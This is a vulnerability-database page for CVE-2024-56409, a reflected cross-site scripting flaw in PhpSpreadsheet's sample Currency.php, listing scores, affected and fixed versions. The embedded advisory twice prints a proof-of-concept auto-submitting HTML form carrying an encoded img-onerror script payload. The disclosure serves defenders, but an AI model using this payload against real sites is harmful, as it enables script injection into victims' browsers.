Every CVE Search/ Get API key

CVE-2024-56409

PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file

8.3 HighFix available

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

Exploit likelihood

0.34%Up 0.3 points since Jan 4, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.3

PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Record
CVE-2024-56409
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-0028 8.3

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Record
EUVD-2025-0028
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
Updated
2026-11-03
GitHub AdvisoriesGHSA-j2xg-cjcx-4677 8.3

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Record
GHSA-j2xg-cjcx-4677
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 8.3

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Record
CVE-2024-56409
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 8.3

PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Currency.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Record
CVE-2024-56409
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-j2xg-cjcx-4677 8.3

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Record
GHSA-j2xg-cjcx-4677
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
phpoffice/phpspreadsheet
Packagist
 3.0.0 up to 3.7.0
3.7.0
phpoffice/phpspreadsheet
Packagist
 through 1.29.6
1.29.7
phpoffice/phpspreadsheet
Packagist
 2.0.0 to 2.1.5
2.1.6
phpoffice/phpspreadsheet
Packagist
 2.2.0 to 2.3.4
2.3.5
phpoffice/phpexcel
Packagist
 through 1.8.2 None known
phpoffice/phpspreadsheet
Packagist
 3.0.0 up to 3.7.0, plus listed versions
3.3.03.4.03.5.03.6.0
3.7.0
phpoffice/phpspreadsheet
Packagist
 before 1.29.7, plus listed versions
1.0.01.0.0-beta1.0.0-beta21.1.01.10.0
Show 45 moreShow less
1.10.11.11.01.12.01.13.01.14.01.14.11.15.01.16.01.17.01.17.11.18.01.19.01.2.01.2.11.20.01.21.01.22.01.23.01.24.01.24.11.25.01.25.11.25.21.26.01.27.01.27.11.28.01.29.01.29.11.29.21.29.41.29.51.29.61.3.01.3.11.4.01.4.11.5.01.5.11.5.21.6.01.7.01.8.01.8.11.8.2
1.29.7
phpoffice/phpspreadsheet
Packagist
 2.0.0 up to 2.1.6, plus listed versions
2.1.02.1.12.1.32.1.42.1.5
2.1.6
phpoffice/phpspreadsheet
Packagist
 2.2.0 up to 2.3.5, plus listed versions
2.2.12.2.22.3.02.3.22.3.32.3.4
2.3.5
phpoffice/phpexcel
Packagist
 through 1.8.2, plus listed versions
1.7.91.7.9-rc11.8.01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.1
 None known

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-56409 is a high vulnerability (CVSS 8.3) in Phpoffice Phpspreadsheet, published January 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in phpoffice/phpspreadsheet 3.7.0.

References

This page doesn't list everything

Left out here: 1 version. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open